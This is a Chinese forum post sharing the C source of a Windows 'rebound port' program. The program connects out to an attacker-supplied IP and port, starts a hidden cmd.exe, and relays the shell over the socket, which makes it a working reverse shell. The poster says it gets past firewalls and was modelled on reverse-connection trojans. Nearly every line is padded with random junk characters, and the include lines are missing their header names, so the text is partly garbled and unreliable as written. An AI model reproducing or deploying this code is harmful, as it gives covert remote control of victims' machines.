社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3452阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <"g ^V  
!kl9X-IiI  
/* ============================== S WYIQ7*  
Rebound port in Windows NT ;:[!I]E0  
By wind,2006/7 2?9SM@nAY  
===============================*/ q7 ;TdQ  
#include $Xf gY1S  
#include 9w Pc03a  
B%c):`w8]  
#pragma comment(lib,"wsock32.lib") ;L5'3+U  
n'yC-;  
void OutputShell(); SJRiMR_F~  
SOCKET sClient; s^]F4'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WvN!8*XFM  
e[HP]$\   
void main(int argc,char **argv) Tk hu,  
{ Su0[f/4m.Q  
WSADATA stWsaData; v:MJF*/  
int nRet;  G.3 qg%  
SOCKADDR_IN stSaiClient,stSaiServer; 8v},&rhPQq  
\o-Q9V  
if(argc != 3) LP8Stj JP  
{ #[^?f[ 9r  
printf("Useage:\n\rRebound DestIP DestPort\n"); v(? ^#C>6W  
return; }2^_Gaj  
} OA\2ja~+  
cvR|qHNX  
WSAStartup(MAKEWORD(2,2),&stWsaData); d3fF|Wp1  
!4 4)=xW  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZE@!s3\  
+1Ha,O k  
stSaiClient.sin_family = AF_INET; W 2VH?-Gw  
stSaiClient.sin_port = htons(0); =y; tOdj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <n iq*  
/;t42 g9w  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T#.5F7$u  
{ 2,c{Z$\kn  
printf("Bind Socket Failed!\n"); h2 2-v X  
return; :xitV]1.   
} 36154*q  
bJJB*$jW=  
stSaiServer.sin_family = AF_INET; hKq#i8py  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aHosu=NK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Vd2bG4*=  
iV!o)WvG,F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j$h.V#1z  
{ / c1=`OJ  
printf("Connect Error!"); aVI/x5p~  
return; !7MC[z(|N  
} YN1P9j#0d  
OutputShell(); d`D<PT(\  
} opQ%!["N  
 =,q,W$-  
void OutputShell() uV r6tb1  
{ }(h_ztw  
char szBuff[1024]; {{c/:FTEU  
SECURITY_ATTRIBUTES stSecurityAttributes; o +sb2:x  
OSVERSIONINFO stOsversionInfo; !Pf_he  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <0OZ9?,dm  
STARTUPINFO stStartupInfo; >=|Dir  
char *szShell; ^YddVp  
PROCESS_INFORMATION stProcessInformation; #<V/lPz+  
unsigned long lBytesRead; WQ/H8rOs  
{=W TAgP  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &?m|PK)I  
9NTBdo%u  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @ !0@f'}e  
stSecurityAttributes.lpSecurityDescriptor = 0; =W(mZ#*vdY  
stSecurityAttributes.bInheritHandle = TRUE; bce>DLF  
CeD O:J=,  
pqmS w  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UPs*{m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {_0m0 8  
H#IJ&w|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `+_UG^aeW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -lr)z=})  
stStartupInfo.wShowWindow = SW_HIDE; jm1f,=R  
stStartupInfo.hStdInput = hReadPipe; 6eSc`t&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8_8r{a<xW  
8OoKP4,;  
GetVersionEx(&stOsversionInfo); `mTpL^f  
xSFY8  
switch(stOsversionInfo.dwPlatformId) V)M+dhl  
{ Q}p+/-U\  
case 1: TfaL5evio  
szShell = "command.com"; L>~wcoB  
break; R=g~od[N_  
default: 7iCH$}  
szShell = "cmd.exe"; gs)wQgJ[  
break; !|hxr#q=4  
} t\ J5np  
M>+FIb(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &kKopJH  
?-CZJr  
send(sClient,szMsg,77,0); ',L>UIXw  
while(1) (Zi(6 T\z  
{ SoZ$1$o2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tz&'!n}  
if(lBytesRead) h2g|D(u)  
{ X~ n=U4s}O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $]IX11.m  
send(sClient,szBuff,lBytesRead,0); 5)fEs.r0U  
} <[O8 {9j  
else QXZjsa_|  
{ J;|r00M  
lBytesRead=recv(sClient,szBuff,1024,0); 7`;55Se  
if(lBytesRead<=0) break; hGmJG,H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (q'w"qj  
} KE3/sw0  
} G+N &(:  
yyke"D  
return; mM.-MIp  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八